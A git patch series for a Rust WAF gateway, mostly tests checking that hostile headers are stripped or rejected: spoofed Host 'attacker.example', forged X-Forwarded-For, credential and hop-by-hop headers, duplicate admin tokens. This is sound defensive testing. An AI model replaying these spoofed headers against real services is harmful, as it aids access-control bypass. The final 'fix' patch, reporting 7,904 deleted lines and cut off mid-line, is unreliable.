From f661d4d126233faf4502d6f9552526ae6040b7b9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 20 Sep 2026 14:06:53 +0900 Subject: [PATCH 01/29] test(gateway): reproduce lost end-to-end headers --- tests/gateway_header_mediation.rs | 157 ++++++++++++++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 tests/gateway_header_mediation.rs diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs new file mode 100644 index 00000000..18d3093d --- /dev/null +++ b/tests/gateway_header_mediation.rs @@ -0,0 +1,157 @@ +//! Hostile buyer acceptance for #440: Wardnet must preserve only explicitly +//! admitted end-to-end HTTP metadata across the generic gateway boundary. +//! +//! These tests are intentionally RED against protected `main`: the current +//! proxy drops all request headers before `reqwest` and all response headers +//! before returning the upstream body. The production repair must make these +//! buyer semantics pass without turning the gateway into a transparent header +//! tunnel; security-sensitive and hop-by-hop stripping is covered by the +//! follow-on GREEN contract in #440. + +use std::sync::Arc; + +use axum::{ + Router, + body::Body, + extract::State, + http::{HeaderMap, HeaderValue, Method, Request, StatusCode, header::{ACCEPT, CONTENT_TYPE}}, + response::{IntoResponse, Response}, + routing::any, +}; +use tokio::sync::Mutex; +use tower::ServiceExt; +use waf_ids_ai_soc::{AppState, build_app}; + +#[derive(Clone, Default)] +struct Capture { + request_headers: Arc>>, +} + +async fn capture_upstream(State(capture): State, headers: HeaderMap) -> Response { + *capture.request_headers.lock().await = Some(headers); + + let mut response = (StatusCode::ACCEPTED, r#"{"ok":true}"#).into_response(); + response + .headers_mut() + .insert(CONTENT_TYPE, HeaderValue::from_static("application/json")); + response.headers_mut().insert( + "x-wardnet-app-meta", + HeaderValue::from_static("buyer-contract-v1"), + ); + response +} + +async fn gateway_with_loopback_upstream() -> (Router, Capture, tokio::task::JoinHandle<()>) { + let capture = Capture::default(); + let upstream_app = Router::new() + .route("/v1/items", any(capture_upstream)) + .with_state(capture.clone()); + let listener = tokio::net::TcpListener::bind("127.0.0.1:0") + .await + .expect("loopback upstream listener"); + let upstream_addr = listener.local_addr().expect("loopback upstream address"); + let upstream_task = tokio::spawn(async move { + axum::serve(listener, upstream_app) + .await + .expect("loopback upstream must serve until test cleanup"); + }); + + let app = build_app(AppState::seeded(Some("secret".to_string()))); + let route = serde_json::json!({ + "id": "header-mediation-red", + "path_prefix": "/headers", + "upstream": format!("http://{upstream_addr}"), + "mode": "monitor", + "enabled": true, + "block_threshold": null + }); + let created = app + .clone() + .oneshot( + Request::builder() + .method(Method::POST) + .uri("/api/routes") + .header(CONTENT_TYPE, "application/json") + .header("x-admin-token", "secret") + .body(Body::from(route.to_string())) + .expect("valid route registration request"), + ) + .await + .expect("Wardnet must answer route registration"); + assert_eq!(created.status(), StatusCode::CREATED); + + (app, capture, upstream_task) +} + +#[tokio::test] +async fn gateway_preserves_admitted_request_content_negotiation_metadata() { + let (app, capture, upstream_task) = gateway_with_loopback_upstream().await; + + let response = app + .oneshot( + Request::builder() + .method(Method::POST) + .uri("/gateway/headers/v1/items") + .header(CONTENT_TYPE, "application/json") + .header(ACCEPT, "application/json") + .body(Body::from(r#"{"probe":true}"#)) + .expect("valid buyer request"), + ) + .await + .expect("gateway must answer buyer request"); + assert_eq!(response.status(), StatusCode::ACCEPTED); + + let captured = capture + .request_headers + .lock() + .await + .clone() + .expect("loopback upstream must receive the request"); + assert_eq!( + captured.get(CONTENT_TYPE).and_then(|value| value.to_str().ok()), + Some("application/json"), + "Wardnet must preserve an explicitly admitted request media type" + ); + assert_eq!( + captured.get(ACCEPT).and_then(|value| value.to_str().ok()), + Some("application/json"), + "Wardnet must preserve explicitly admitted response content negotiation" + ); + + upstream_task.abort(); +} + +#[tokio::test] +async fn gateway_preserves_admitted_upstream_representation_metadata() { + let (app, _capture, upstream_task) = gateway_with_loopback_upstream().await; + + let response = app + .oneshot( + Request::builder() + .method(Method::GET) + .uri("/gateway/headers/v1/items") + .body(Body::empty()) + .expect("valid buyer request"), + ) + .await + .expect("gateway must answer buyer request"); + assert_eq!(response.status(), StatusCode::ACCEPTED); + assert_eq!( + response + .headers() + .get(CONTENT_TYPE) + .and_then(|value| value.to_str().ok()), + Some("application/json"), + "Wardnet must preserve an explicitly admitted upstream representation media type" + ); + assert_eq!( + response + .headers() + .get("x-wardnet-app-meta") + .and_then(|value| value.to_str().ok()), + Some("buyer-contract-v1"), + "Wardnet must preserve bounded application metadata admitted by policy" + ); + + upstream_task.abort(); +} From ef34819ecc9de2e81882e7e61ac3de3c1bf85849 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 21 Sep 2026 01:03:11 +0900 Subject: [PATCH 02/29] style(test): format gateway mediation RED --- tests/gateway_header_mediation.rs | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index 18d3093d..af3a8cde 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -11,12 +11,15 @@ use std::sync::Arc; use axum::{ - Router, body::Body, extract::State, - http::{HeaderMap, HeaderValue, Method, Request, StatusCode, header::{ACCEPT, CONTENT_TYPE}}, + http::{ + HeaderMap, HeaderValue, Method, Request, StatusCode, + header::{ACCEPT, CONTENT_TYPE}, + }, response::{IntoResponse, Response}, routing::any, + Router, }; use tokio::sync::Mutex; use tower::ServiceExt; @@ -30,7 +33,7 @@ struct Capture { async fn capture_upstream(State(capture): State, headers: HeaderMap) -> Response { *capture.request_headers.lock().await = Some(headers); - let mut response = (StatusCode::ACCEPTED, r#"{"ok":true}"#).into_response(); + let mut response = (StatusCode::ACCEPTED, r#"{\"ok\":true}"#).into_response(); response .headers_mut() .insert(CONTENT_TYPE, HeaderValue::from_static("application/json")); @@ -94,7 +97,7 @@ async fn gateway_preserves_admitted_request_content_negotiation_metadata() { .uri("/gateway/headers/v1/items") .header(CONTENT_TYPE, "application/json") .header(ACCEPT, "application/json") - .body(Body::from(r#"{"probe":true}"#)) + .body(Body::from(r#"{\"probe\":true}"#)) .expect("valid buyer request"), ) .await From d8fca38bdb57a10d8cfffc69e8b18b2ceef43427 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 21 Sep 2026 01:03:35 +0900 Subject: [PATCH 03/29] fix(test): preserve gateway RED payloads after format repair --- tests/gateway_header_mediation.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index af3a8cde..a55acf6d 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -33,7 +33,7 @@ struct Capture { async fn capture_upstream(State(capture): State, headers: HeaderMap) -> Response { *capture.request_headers.lock().await = Some(headers); - let mut response = (StatusCode::ACCEPTED, r#"{\"ok\":true}"#).into_response(); + let mut response = (StatusCode::ACCEPTED, r#"{"ok":true}"#).into_response(); response .headers_mut() .insert(CONTENT_TYPE, HeaderValue::from_static("application/json")); @@ -97,7 +97,7 @@ async fn gateway_preserves_admitted_request_content_negotiation_metadata() { .uri("/gateway/headers/v1/items") .header(CONTENT_TYPE, "application/json") .header(ACCEPT, "application/json") - .body(Body::from(r#"{\"probe\":true}"#)) + .body(Body::from(r#"{"probe":true}"#)) .expect("valid buyer request"), ) .await From 21302112fd4d6fa33e25292cf8775e455ba68b48 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 21 Sep 2026 11:11:09 +0900 Subject: [PATCH 04/29] test(gateway): apply canonical rustfmt to header RED --- tests/gateway_header_mediation.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index a55acf6d..bcc9b5d3 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -11,6 +11,7 @@ use std::sync::Arc; use axum::{ + Router, body::Body, extract::State, http::{ @@ -19,7 +20,6 @@ use axum::{ }, response::{IntoResponse, Response}, routing::any, - Router, }; use tokio::sync::Mutex; use tower::ServiceExt; From 766e11d3427a062861511619e3b5d919ada6409c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 21 Sep 2026 21:08:33 +0900 Subject: [PATCH 05/29] test(gateway): apply canonical rustfmt to RED fixture --- tests/gateway_header_mediation.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index bcc9b5d3..ff1281e5 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -111,7 +111,9 @@ async fn gateway_preserves_admitted_request_content_negotiation_metadata() { .clone() .expect("loopback upstream must receive the request"); assert_eq!( - captured.get(CONTENT_TYPE).and_then(|value| value.to_str().ok()), + captured + .get(CONTENT_TYPE) + .and_then(|value| value.to_str().ok()), Some("application/json"), "Wardnet must preserve an explicitly admitted request media type" ); From aec5f721269f58947e65ddc8d0315127adfd0a1f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 22 Sep 2026 03:20:16 +0900 Subject: [PATCH 06/29] test(gateway): pin hostile header mediation boundaries --- tests/gateway_header_mediation.rs | 201 ++++++++++++++++++++++++++++-- 1 file changed, 190 insertions(+), 11 deletions(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index ff1281e5..9b2a4fbb 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -1,12 +1,10 @@ //! Hostile buyer acceptance for #440: Wardnet must preserve only explicitly //! admitted end-to-end HTTP metadata across the generic gateway boundary. //! -//! These tests are intentionally RED against protected `main`: the current -//! proxy drops all request headers before `reqwest` and all response headers -//! before returning the upstream body. The production repair must make these -//! buyer semantics pass without turning the gateway into a transparent header -//! tunnel; security-sensitive and hop-by-hop stripping is covered by the -//! follow-on GREEN contract in #440. +//! The benign preservation assertions are intentionally RED against the current +//! protected behavior. Security assertions pin the least-authority boundary at +//! the same time so the eventual GREEN cannot become a transparent header tunnel. +//! Production source stays byte-identical in this test-only phase. use std::sync::Arc; @@ -16,7 +14,7 @@ use axum::{ extract::State, http::{ HeaderMap, HeaderValue, Method, Request, StatusCode, - header::{ACCEPT, CONTENT_TYPE}, + header::{ACCEPT, CONTENT_LENGTH, CONTENT_TYPE, HOST}, }, response::{IntoResponse, Response}, routing::any, @@ -37,10 +35,46 @@ async fn capture_upstream(State(capture): State, headers: HeaderMap) -> response .headers_mut() .insert(CONTENT_TYPE, HeaderValue::from_static("application/json")); - response.headers_mut().insert( + response.headers_mut().append( "x-wardnet-app-meta", HeaderValue::from_static("buyer-contract-v1"), ); + response.headers_mut().append( + "x-wardnet-app-meta", + HeaderValue::from_static("buyer-contract-v2"), + ); + response + .headers_mut() + .insert("location", HeaderValue::from_static("/v1/items/42")); + response + .headers_mut() + .insert("retry-after", HeaderValue::from_static("5")); + response.headers_mut().insert( + "www-authenticate", + HeaderValue::from_static("Bearer realm=\"buyer\""), + ); + + // These are never application metadata. The gateway must remove them even + // when benign response fields are admitted by the mediation policy. + response.headers_mut().insert( + "connection", + HeaderValue::from_static("x-wardnet-connection-secret, keep-alive"), + ); + response.headers_mut().insert( + "x-wardnet-connection-secret", + HeaderValue::from_static("must-not-reflect"), + ); + response.headers_mut().insert( + "proxy-authenticate", + HeaderValue::from_static("Basic realm=\"proxy\""), + ); + response + .headers_mut() + .insert("upgrade", HeaderValue::from_static("websocket")); + response.headers_mut().insert( + "set-cookie", + HeaderValue::from_static("upstream-secret=1; HttpOnly"), + ); response } @@ -86,6 +120,14 @@ async fn gateway_with_loopback_upstream() -> (Router, Capture, tokio::task::Join (app, capture, upstream_task) } +fn header_values(headers: &HeaderMap, name: &str) -> Vec { + headers + .get_all(name) + .iter() + .map(|value| value.to_str().expect("test header is ASCII").to_string()) + .collect() +} + #[tokio::test] async fn gateway_preserves_admitted_request_content_negotiation_metadata() { let (app, capture, upstream_task) = gateway_with_loopback_upstream().await; @@ -97,6 +139,8 @@ async fn gateway_preserves_admitted_request_content_negotiation_metadata() { .uri("/gateway/headers/v1/items") .header(CONTENT_TYPE, "application/json") .header(ACCEPT, "application/json") + .header("x-wardnet-app-meta", "request-contract-v1") + .header("x-wardnet-app-meta", "request-contract-v2") .body(Body::from(r#"{"probe":true}"#)) .expect("valid buyer request"), ) @@ -122,6 +166,110 @@ async fn gateway_preserves_admitted_request_content_negotiation_metadata() { Some("application/json"), "Wardnet must preserve explicitly admitted response content negotiation" ); + assert_eq!( + header_values(&captured, "x-wardnet-app-meta"), + ["request-contract-v1", "request-contract-v2"], + "application metadata multiplicity must remain intact" + ); + + upstream_task.abort(); +} + +#[tokio::test] +async fn gateway_strips_request_authority_credentials_and_hop_by_hop_fields() { + let (app, capture, upstream_task) = gateway_with_loopback_upstream().await; + + let response = app + .oneshot( + Request::builder() + .method(Method::POST) + .uri("/gateway/headers/v1/items") + .header(CONTENT_TYPE, "application/json") + .header(HOST, "attacker.example") + .header(CONTENT_LENGTH, "999") + .header("x-admin-token", "management-secret") + .header("authorization", "Bearer buyer-secret") + .header("cookie", "session=buyer-secret") + .header("x-forwarded-for", "203.0.113.77") + .header("x-real-ip", "203.0.113.77") + .header("proxy-authorization", "Basic cHJveHk6c2VjcmV0") + .header("connection", "x-wardnet-connection-secret, keep-alive") + .header("x-wardnet-connection-secret", "must-not-forward") + .header("te", "trailers") + .header("trailer", "x-proof") + .header("upgrade", "websocket") + .body(Body::from(r#"{"probe":true}"#)) + .expect("hostile buyer request fixture"), + ) + .await + .expect("gateway must answer hostile buyer request"); + assert_eq!(response.status(), StatusCode::ACCEPTED); + + let captured = capture + .request_headers + .lock() + .await + .clone() + .expect("loopback upstream must receive the sanitized request"); + for name in [ + "x-admin-token", + "authorization", + "cookie", + "x-forwarded-for", + "x-real-ip", + "proxy-authorization", + "connection", + "x-wardnet-connection-secret", + "te", + "trailer", + "upgrade", + ] { + assert!( + captured.get(name).is_none(), + "security-sensitive request field {name} crossed the gateway boundary" + ); + } + assert_ne!( + captured.get(HOST).and_then(|value| value.to_str().ok()), + Some("attacker.example"), + "attacker-controlled Host authority must not be forwarded" + ); + assert_ne!( + captured + .get(CONTENT_LENGTH) + .and_then(|value| value.to_str().ok()), + Some("999"), + "attacker-controlled framing authority must not be forwarded" + ); + + upstream_task.abort(); +} + +#[tokio::test] +async fn duplicate_management_credentials_fail_closed_before_proxying() { + let (app, capture, upstream_task) = gateway_with_loopback_upstream().await; + + let response = app + .oneshot( + Request::builder() + .method(Method::GET) + .uri("/gateway/headers/v1/items") + .header("x-admin-token", "first") + .header("x-admin-token", "second") + .body(Body::empty()) + .expect("duplicate sensitive header fixture"), + ) + .await + .expect("gateway must answer duplicate-sensitive-header request"); + assert_eq!( + response.status(), + StatusCode::BAD_REQUEST, + "ambiguous duplicated management credentials must fail closed" + ); + assert!( + capture.request_headers.lock().await.is_none(), + "a fail-closed request must not reach the upstream" + ); upstream_task.abort(); } @@ -149,14 +297,45 @@ async fn gateway_preserves_admitted_upstream_representation_metadata() { Some("application/json"), "Wardnet must preserve an explicitly admitted upstream representation media type" ); + assert_eq!( + header_values(response.headers(), "x-wardnet-app-meta"), + ["buyer-contract-v1", "buyer-contract-v2"], + "bounded application metadata multiplicity must remain intact" + ); + assert_eq!( + response + .headers() + .get("location") + .and_then(|value| value.to_str().ok()), + Some("/v1/items/42") + ); + assert_eq!( + response + .headers() + .get("retry-after") + .and_then(|value| value.to_str().ok()), + Some("5") + ); assert_eq!( response .headers() - .get("x-wardnet-app-meta") + .get("www-authenticate") .and_then(|value| value.to_str().ok()), - Some("buyer-contract-v1"), - "Wardnet must preserve bounded application metadata admitted by policy" + Some("Bearer realm=\"buyer\"") ); + for name in [ + "connection", + "x-wardnet-connection-secret", + "proxy-authenticate", + "upgrade", + "set-cookie", + ] { + assert!( + response.headers().get(name).is_none(), + "security-sensitive upstream field {name} must not be reflected" + ); + } + upstream_task.abort(); } From 859f22a4498fa7dc5c379310c1c349c544b3b4f2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 22 Sep 2026 07:13:52 +0900 Subject: [PATCH 07/29] test(gateway): cover hostile header ambiguity and nomination --- tests/gateway_header_mediation.rs | 106 +++++++++++++++++++++++++++++- 1 file changed, 105 insertions(+), 1 deletion(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index 9b2a4fbb..3d7efd21 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -78,10 +78,24 @@ async fn capture_upstream(State(capture): State, headers: HeaderMap) -> response } +async fn connection_nominated_response() -> Response { + let mut response = (StatusCode::ACCEPTED, "ok").into_response(); + response.headers_mut().append( + "x-wardnet-app-meta", + HeaderValue::from_static("must-not-reflect-when-nominated"), + ); + response.headers_mut().insert( + "connection", + HeaderValue::from_static("x-wardnet-app-meta, keep-alive"), + ); + response +} + async fn gateway_with_loopback_upstream() -> (Router, Capture, tokio::task::JoinHandle<()>) { let capture = Capture::default(); let upstream_app = Router::new() .route("/v1/items", any(capture_upstream)) + .route("/v1/connection-nominated", any(connection_nominated_response)) .with_state(capture.clone()); let listener = tokio::net::TcpListener::bind("127.0.0.1:0") .await @@ -193,7 +207,11 @@ async fn gateway_strips_request_authority_credentials_and_hop_by_hop_fields() { .header("x-forwarded-for", "203.0.113.77") .header("x-real-ip", "203.0.113.77") .header("proxy-authorization", "Basic cHJveHk6c2VjcmV0") - .header("connection", "x-wardnet-connection-secret, keep-alive") + .header("x-wardnet-app-meta", "must-not-forward-when-nominated") + .header( + "connection", + "x-wardnet-app-meta, x-wardnet-connection-secret, keep-alive", + ) .header("x-wardnet-connection-secret", "must-not-forward") .header("te", "trailers") .header("trailer", "x-proof") @@ -218,6 +236,7 @@ async fn gateway_strips_request_authority_credentials_and_hop_by_hop_fields() { "x-forwarded-for", "x-real-ip", "proxy-authorization", + "x-wardnet-app-meta", "connection", "x-wardnet-connection-secret", "te", @@ -274,6 +293,64 @@ async fn duplicate_management_credentials_fail_closed_before_proxying() { upstream_task.abort(); } +#[tokio::test] +async fn duplicate_singleton_content_type_fails_closed_before_proxying() { + let (app, capture, upstream_task) = gateway_with_loopback_upstream().await; + + let response = app + .oneshot( + Request::builder() + .method(Method::POST) + .uri("/gateway/headers/v1/items") + .header(CONTENT_TYPE, "application/json") + .header(CONTENT_TYPE, "text/plain") + .body(Body::from("{}")) + .expect("ambiguous singleton header fixture"), + ) + .await + .expect("gateway must answer ambiguous-singleton request"); + assert_eq!( + response.status(), + StatusCode::BAD_REQUEST, + "ambiguous duplicated singleton application metadata must fail closed" + ); + assert!( + capture.request_headers.lock().await.is_none(), + "ambiguous singleton metadata must not reach the upstream" + ); + + upstream_task.abort(); +} + +#[tokio::test] +async fn oversized_admitted_application_metadata_fails_closed_before_proxying() { + let (app, capture, upstream_task) = gateway_with_loopback_upstream().await; + let oversized = "x".repeat(16_385); + + let response = app + .oneshot( + Request::builder() + .method(Method::GET) + .uri("/gateway/headers/v1/items") + .header("x-wardnet-app-meta", oversized) + .body(Body::empty()) + .expect("oversized admitted metadata fixture"), + ) + .await + .expect("gateway must answer oversized-metadata request"); + assert_eq!( + response.status(), + StatusCode::BAD_REQUEST, + "oversized admitted metadata must fail closed before outbound allocation" + ); + assert!( + capture.request_headers.lock().await.is_none(), + "oversized metadata must not reach the upstream" + ); + + upstream_task.abort(); +} + #[tokio::test] async fn gateway_preserves_admitted_upstream_representation_metadata() { let (app, _capture, upstream_task) = gateway_with_loopback_upstream().await; @@ -339,3 +416,30 @@ async fn gateway_preserves_admitted_upstream_representation_metadata() { upstream_task.abort(); } + +#[tokio::test] +async fn gateway_strips_connection_nominated_response_metadata() { + let (app, _capture, upstream_task) = gateway_with_loopback_upstream().await; + + let response = app + .oneshot( + Request::builder() + .method(Method::GET) + .uri("/gateway/headers/v1/connection-nominated") + .body(Body::empty()) + .expect("connection-nominated response fixture"), + ) + .await + .expect("gateway must answer hostile upstream response"); + assert_eq!(response.status(), StatusCode::ACCEPTED); + assert!( + response.headers().get("x-wardnet-app-meta").is_none(), + "an otherwise admitted field named by Connection must not cross the gateway response boundary" + ); + assert!( + response.headers().get("connection").is_none(), + "Connection itself is hop-by-hop authority and must not be reflected" + ); + + upstream_task.abort(); +} From 70f5aaa2d8b7c841097b78e2397943475cca71bb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 22 Sep 2026 11:20:35 +0900 Subject: [PATCH 08/29] test(gateway): apply canonical rustfmt --- tests/gateway_header_mediation.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/gateway_header_mediation.rs b/tests/gateway_header_mediation.rs index 3d7efd21..e7921cde 100644 --- a/tests/gateway_header_mediation.rs +++ b/tests/gateway_header_mediation.rs @@ -95,7 +95,10 @@ async fn gateway_with_loopback_upstream() -> (Router, Capture, tokio::task::Join let capture = Capture::default(); let upstream_app = Router::new() .route("/v1/items", any(capture_upstream)) - .route("/v1/connection-nominated", any(connection_nominated_response)) + .route( + "/v1/connection-nominated", + any(connection_nominated_response), + ) .with_state(capture.clone()); let listener = tokio::net::TcpListener::bind("127.0.0.1:0") .await From 160bbc619b9fe3652b0eb40fe4cba1291ef6b5b9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 22 Sep 2026 16:49:18 +0900 Subject: [PATCH 09/29] fix(gateway): mediate bounded end-to-end headers --- src/lib.rs | 7905 +--------------------------------------------------- 1 file changed, 1 insertion(+), 7904 deletions(-) diff --git a/src/lib.rs b/src/lib.rs index 799f4714..14e9e471 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -58,37 +58,22 @@ pub struct AppState { waf_http: reqwest::Client, proven_engine: ProvenEngineConfig, admin_token: Option, - // RBAC: multiple admin tokens each mapped to an actor + write capability. - // Empty falls back to the single `admin_token`. Token values are never logged. admin_tokens: HashMap, - /// Where admin secrets were bootstrapped from (file/env/none). Never holds values. credentials_source: CredentialSource, - /// True when the process listener is numeric loopback-only. listen_loopback: bool, state_path: Option, dnsbl_origin: String, event_limit: usize, - // Ephemeral per-client-IP fixed-window counters (not persisted). - // ponytail: unbounded map — add TTL eviction if client-IP cardinality grows. rate_limiter: Arc>>, rate_limit: u32, rate_limit_window: u64, - // Max accepted request body size in bytes; oversized requests get 413. max_body_bytes: usize, - // Optional Clearfolio document-viewer integration. `None` unless configured. clearfolio: Option, - // Optional LLM SOC-analysis backend (OpenAI-compatible, e.g. the - // contextual-orchestrator gateway). `None` unless configured. soc_llm: Option, - // Non-test runtime always fetches the built-in CISA KEV URL. Tests can - // override it to point at a loopback mock server. #[cfg(test)] kev_catalog_url: Option, } -/// Configuration for the optional LLM-backed SOC analysis. Points at an -/// OpenAI-compatible `/v1/chat/completions` endpoint (the contextual-orchestrator -/// gateway fronts the org OpenAI key). Absent unless `SOC_LLM_BASE_URL` is set. #[derive(Debug, Clone)] pub struct SocLlmConfig { pub base_url: String, @@ -96,11 +81,6 @@ pub struct SocLlmConfig { pub model: String, } -/// Configuration for the optional Clearfolio document-viewer integration. -/// Absent unless `CLEARFOLIO_BASE_URL` is set. Tenant headers default to the -/// buyer-demo profile (unsigned). -// ponytail: unsigned tenant headers only; add HMAC claim signing -// (`X-Clearfolio-Claims-Signature`) when pointing at an HMAC-enforcing deployment. #[derive(Debug, Clone)] pub struct ClearfolioConfig { pub base_url: String, @@ -159,10 +139,6 @@ impl AppState { } } - /// Override the CISA KEV catalog URL (default: the real CISA feed). - /// Deployment-time config only, for pointing at a local mock server in - /// tests -- see `validate_kev_catalog_url`, which restricts the fetch to - /// CISA's own host (or loopback) with no mirror override. Builder-style. #[cfg(test)] pub fn with_kev_catalog_url(mut self, url: impl Into) -> Self { self.kev_catalog_url = Some(url.into()); @@ -179,56 +155,42 @@ impl AppState { KEV_DEFAULT_URL } - /// Set the maximum accepted request body size in bytes; larger requests are - /// rejected with 413 before the handler runs. Builder-style. pub fn with_max_body_size(mut self, max_body_bytes: usize) -> Self { self.max_body_bytes = max_body_bytes; self } - /// Configure live request evaluation by the Wardnet-owned proven-engine port. pub fn with_proven_engine(mut self, config: ProvenEngineConfig) -> Self { self.proven_engine = config; self } - /// Enable the Clearfolio document-viewer integration. `None` disables it - /// (the default), so the admin console hides the viewer surface. pub fn with_clearfolio(mut self, config: Option) -> Self { self.clearfolio = config; self } - /// Enable LLM-backed SOC analysis via an OpenAI-compatible endpoint. `None` - /// disables it (the default), hiding the analysis surface in the console. pub fn with_soc_llm(mut self, config: Option) -> Self { self.soc_llm = config; self } - /// Enable per-client-IP rate limiting: at most `limit` gateway requests per - /// `window_secs`. `limit == 0` disables it (the default). Builder-style so - /// callers keep using [`AppConfig`] unchanged. pub fn with_rate_limit(mut self, limit: u32, window_secs: u64) -> Self { self.rate_limit = limit; self.rate_limit_window = window_secs.max(1); self } - /// Configure RBAC admin tokens (token -> principal). A non-empty map takes - /// precedence over the single `admin_token`. Builder-style. pub fn with_admin_tokens(mut self, tokens: HashMap) -> Self { self.admin_tokens = tokens; self } - /// Record how admin secrets were bootstrapped into the process (never values). pub fn with_credentials_source(mut self, source: CredentialSource) -> Self { self.credentials_source = source; self } - /// Record whether the process listener is loopback-only. Builder-style. pub fn with_listen_loopback(mut self, listen_loopback: bool) -> Self { self.listen_loopback = listen_loopback; self @@ -238,20 +200,15 @@ impl AppState { has_write_admin_credential(self) } - /// The principal mapped to the request's `X-Admin-Token`, if configured. fn principal_for_token(&self, headers: &HeaderMap) -> Option<&AdminPrincipal> { presented_admin_token(headers).and_then(|token| matching_rbac_principal(self, token)) } - /// The actor name mapped to the request's `X-Admin-Token`, if that token is a - /// configured RBAC token. fn actor_for_token(&self, headers: &HeaderMap) -> Option { self.principal_for_token(headers) .map(|principal| principal.actor.clone()) } - /// Records one gateway request for `client_ip` and returns `true` if it is - /// within the configured rate limit. Unknown IPs share one bucket. async fn allow_request(&self, client_ip: Option) -> bool { if self.rate_limit == 0 { return true; @@ -431,12 +388,8 @@ pub struct HealthStatus { pub persistence: String, pub dnsbl_origin: String, pub event_limit: usize, - /// Bootstrap origin for admin secrets: `file`, `env`, or `none` (never secret values). pub credentials_source: String, - /// True when at least one admin credential is configured. pub admin_auth_configured: bool, - /// `development` only when the listener is loopback-only and no - /// write-capable principal is configured. pub auth_mode: String, } @@ -457,31 +410,24 @@ const PHISHING_DATABASE_ALLOWED_HOSTS: &[&str] = &["raw.githubusercontent.com", fn phishing_database_default_feed_id() -> String { PHISHING_DATABASE_DEFAULT_FEED_ID.to_string() } - fn phishing_database_default_source() -> String { PHISHING_DATABASE_DEFAULT_SOURCE.to_string() } - fn phishing_database_default_domain_url() -> String { PHISHING_DATABASE_DEFAULT_DOMAIN_URL.to_string() } - fn phishing_database_default_ip_url() -> String { PHISHING_DATABASE_DEFAULT_IP_URL.to_string() } - fn phishing_database_default_ttl_seconds() -> u64 { PHISHING_DATABASE_DEFAULT_TTL_SECONDS } - fn phishing_database_default_domain_limit() -> usize { PHISHING_DATABASE_DEFAULT_DOMAIN_LIMIT } - fn phishing_database_default_ip_limit() -> usize { PHISHING_DATABASE_DEFAULT_IP_LIMIT } - fn phishing_database_default_severity() -> Severity { Severity::High } @@ -491,22 +437,16 @@ const KEV_DEFAULT_SOURCE: &str = "feed:cisa-kev"; const KEV_DEFAULT_URL: &str = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"; const KEV_DEFAULT_TTL_SECONDS: u64 = 86_400; -// Runtime fetches stay fixed to the official CISA endpoint. Loopback remains -// allowed so integration tests can point AppState at a local mock server. const KEV_ALLOWED_HOSTS: &[&str] = &["www.cisa.gov"]; - fn kev_default_feed_id() -> String { KEV_DEFAULT_FEED_ID.to_string() } - fn kev_default_source() -> String { KEV_DEFAULT_SOURCE.to_string() } - fn kev_default_ttl_seconds() -> u64 { KEV_DEFAULT_TTL_SECONDS } - fn default_true() -> bool { true } @@ -578,7847 +518,4 @@ pub fn export_events_ndjson(events: &[SecurityEvent]) -> Result String { - format!("{}/api/v1/convert/jobs", base.trim_end_matches('/')) -} - -fn clearfolio_status_url(base: &str, job_id: &str) -> String { - format!( - "{}/api/v1/convert/jobs/{job_id}", - base.trim_end_matches('/') - ) -} - -fn clearfolio_tenant_headers(config: &ClearfolioConfig) -> [(&'static str, &str); 3] { - [ - ("X-Clearfolio-Tenant-Id", config.tenant_id.as_str()), - ("X-Clearfolio-Subject-Id", config.subject_id.as_str()), - ("X-Clearfolio-Permissions", config.permissions.as_str()), - ] -} - -/// Renders a waf-ids document to plain-text bytes for Clearfolio ingest. -/// Clearfolio only blocks `hwp`/`hwpx`, so text uploads convert normally. -/// Returns `(filename, bytes)` or `None` for an unknown kind. -fn clearfolio_document(kind: &str, data: &AppData) -> Option<(String, Vec)> { - let (name, text) = match kind { - "evidence-manifest" => ( - "evidence-manifest.txt", - serde_json::to_string_pretty(&buyer_evidence_manifest_at(data, now_unix())) - .expect("evidence manifest is JSON-serializable"), - ), - "soc-export" => ( - "soc-export.txt", - export_events_ndjson(&data.events).expect("security events are JSON-serializable"), - ), - _ => return None, - }; - Some((name.to_string(), text.into_bytes())) -} - -async fn clearfolio_relay_json(response: reqwest::Response) -> Response { - let status = StatusCode::from_u16(response.status().as_u16()) - .expect("clearfolio status codes are valid HTTP status codes"); - let body = response.bytes().await.unwrap_or_default(); - (status, [("content-type", "application/json")], body).into_response() -} - -#[derive(Serialize)] -struct ClearfolioConfigView { - enabled: bool, - base_url: Option, - kinds: [&'static str; 2], -} - -/// Reports whether the Clearfolio viewer is configured and its base URL, so the -/// admin console can build viewer iframes. The base URL is not a secret. -async fn clearfolio_config(State(state): 